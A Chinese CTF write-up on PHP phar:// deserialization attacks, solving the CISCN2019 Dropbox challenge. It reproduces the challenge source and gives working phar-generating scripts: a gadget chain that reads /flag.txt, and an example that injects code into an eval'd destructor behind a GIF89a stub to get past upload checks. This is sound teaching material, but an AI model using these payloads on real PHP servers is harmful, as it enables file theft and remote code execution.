PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox
PHAR://
PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等
include('php://filter/read=convert.base64-encode/resource=index.php');
include('data://text/plain;base64,xxxxxxxxxxxx');
前者使用到了过滤器来进行读写文件,后者使用data协议进行文件的读写。
phar://也是流包装的一种,关于phar的结构:
1.stub
一个供phar扩展用于识别的标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,注意此处必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以在前面轻易伪造一个图片文件的头如GIF98a来绕过一些上传限制;
2.manifest
用于保存压缩文件的权限、属性等信息,并且以序列化的形式存储用户自定义的meta-data,会触发反序列化,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化。
3.contents
被压缩文件的内容。
4.signature
签名,放在文件末尾.
就像test.jpg可以作为php文件被include执行一样,test.phar改名为test.jpg之后,phar://协议也会将test.jpg作为phar文件处理,所以我们也可以通过phar://test.jpg正常访问test.phar,因为php的文件函数都是以流的形式读取文件。
影响函数:
fileatime / filectime / filemtime
stat / fileinode / fileowner / filegroup / fileperms
file / file_get_contents / readfile / fopen
file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
parse_ini_file
unlink
以上函数在通过phar://伪协议解析phar文件时都会将数据反序列化,从而实现序列化的漏洞,因为meta-data是以序列化的形式存储的。
一段生成phar的的脚本:
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
基本思路就是这样:上传phar文件,利用类中的可利用的方法,找到服务端文件操作函数并以phar://协议读取phar文件。
这是利用条件:
phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
我个人理解这个过程就是我们利用phar://能够将文件以phar流的形式进行传递无论他的后缀是什么,这个时候我们在他的metedata中添加payload,payload需要适应服务端,即payload的序列化,进过反序列化是能够调用到目标机器上的类,从而执行目的类上面的魔术方法进行生成,因为在$phar->setMetadata($o);的时候自动的进行了反序列化的操作,所以我们需要在服务端有一个能执行序列化的函数,就是类似于filegetcontent方法,将其反序列化,还原其类的成员,同时我们想要执行的话,需要用到魔术函数,此时服务端上也要有魔术函数,就例如_destruct等等,所以是我们根据服务端来构造,要满足以上的三个条件,即能反序列化,生成一个类,在服务端上这个类有魔术方法。
这篇文章就很明白: https://xz.aliyun.com/t/2715
[CISCN2019 华北赛区 Day1 Web1]Dropbox
download.php:
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
upload.php:
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
根据包含的文件还有一个class.php,以及登录,注册的php页面。
在class.php当中:
<?php
class File {
public $filename;
public function close() {
return file_get_contents($this->filename);
}
}
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '</tr>';
}
echo $table;
}
}
虽说存在着任意文件下载的漏洞,但是由于:
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
的限制,我们无法读取flag的文件,同事我们读取的范围只能限于etc,tmp,和当前目录集下面,例如我们读取etc/passwd就能够读取。
在观察delete文件
<?php
include "class.php";
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
包含了class.php,两者结合进行分析:
class File {
public $filename;
public function close() {
return file_get_contents($this->filename);
}
}
在File类当中包含的close方法可能会获得文件内容。 在Usr类当中,存在魔术方法destruct,它调用了cloase方法,如果存在call魔术方法就可能被利用。
在FileList当中,存在__call的魔术方法,且为public:
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
当一个Filelist对象调用了close()方法,根据call方法的代码可以知道,文件的close方法会被执行,就可能拿到flag。
创建一个user的对象,其db变量是一个FileList对象,对象中的文件名为flag的位置。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法,进而变成了执行File对象的close方法,同时close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来。
执行脚本:
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
另外以上代码执行后生成的phar文件我们使用notepad++打开是这样的
O:4:"User":1:{s:2:"db";O:8:"FileList":3:{s:15:" FileList files";a:1:{i:0;O:4:"File":1:{s:8:"filename";s:9:"/flag.txt";}}s:17:" FileList results";a:0:{}s:15:" FileList funcs";a:0:{}}}
一段序列化数据
小例子2: 服务端代码:
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
根据这段我们时需要调用Anyclass的魔术方法__destruct: 根据需求我们可以构造出这样的实例化代码:
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
为了适合服务端上的Anyclass所以我们在本地自己生成Anyclass类,在使用phar进行压缩,序列化,然后利用phar协议进行发送,更改后缀名。
参考文章:https://xz.aliyun.com/t/2715
PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox的更多相关文章
- 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...
- BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox
步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...
- [CISCN2019 华北赛区 Day1 Web1]Dropbox
0x01 前言 通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大.但在不久前的Black Hat上,安全研究员Sam ...
- 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox
太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...
- [CISCN2019 华北赛区 Day1 Web1]Dropbox-phar文件能够上传到服务器端实现任意文件读取
0x00知识点 phar是什么: 我们先来了解一下流包装 大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,zlib://或php://.例如常见的 include('php ...
- 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...
- 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun 一.涉及知识点 1.薅羊毛逻辑漏洞 2.jwt-cookies伪造 Python反序列化 二.解题方法 刷题记录:[CIS ...
- 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World
目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...
- BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World
id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...
随机推荐
- gorm demo
package main import ( "fmt" "github.com/jinzhu/gorm" _ "github.com/jinzhu/g ...
- pandas参数设置小技巧
在日常使用pandas的过程中,由于我们所分析的数据表规模.格式上的差异,使得同样的函数或方法作用在不同数据上的效果存在差异. 而pandas有着自己的一套参数设置系统,可以帮助我们在遇到不同的数据时 ...
- 解决:While reading from '/Users/***/.pip/pip.conf' [line 4]: option 'extra-index-url' in section 'global' already exists
解决:While reading from '/Users/***/.pip/pip.conf' [line 4]: option 'extra-index-url' in section 'glob ...
- MPI计算π
MPI计算\(\pi\) 利用公式 \[\int_0^1 \frac{4}{1+x^2}dx = \pi \] #include<stdio.h> #include<mpi.h> ...
- Java二进制和位运算,这一万字准能喂饱你
基础不牢,地动山摇.本文已被 https://www.yourbatman.cn 收录,里面一并有Spring技术栈.MyBatis.JVM.中间件等小而美的专栏供以免费学习.关注公众号[BAT的乌托 ...
- IDEA的Debug详解
01_Debug简介和意义 什么是程序DeBug? Debug,是程序开发人员必会的一项调试程序的技能. 企业中程序开发和程序调试的比例为1:1.5,可以说如果你不会调试程序,你就没有办法从事编程工作 ...
- Spark Java创建DataFrame
以前用Python和Scala操作Spark的时候比较多,毕竟Python和Scala代码写起来要简洁很多. 今天一起来看看Java版本怎么创建DataFrame,代码写起来其实差不多,毕竟公用同一套 ...
- ReentrantLock可中断锁和synchronized区别
ReentrantLock中的lockInterruptibly()方法使得线程可以在被阻塞时响应中断,比如一个线程t1通过lockInterruptibly()方法获取到一个可重入锁,并执行一个长时 ...
- 浅谈 FTP、FTPS 与 SFTP
无论是网盘还是云存储,上传都是一项很简单的操作.那些便捷好用的上传整理工具所用的 FTP 协议到底是什么意义,繁杂的模式又有何区别? 二狗子最近搭建了一个图片分享网站,每天都有好多人在他的网站上传许多 ...
- Lua C API的正确用法
http://blog.codingnow.com/2015/05/lua_c_api.html http://blog.csdn.net/oilcode/article/details/510861 ...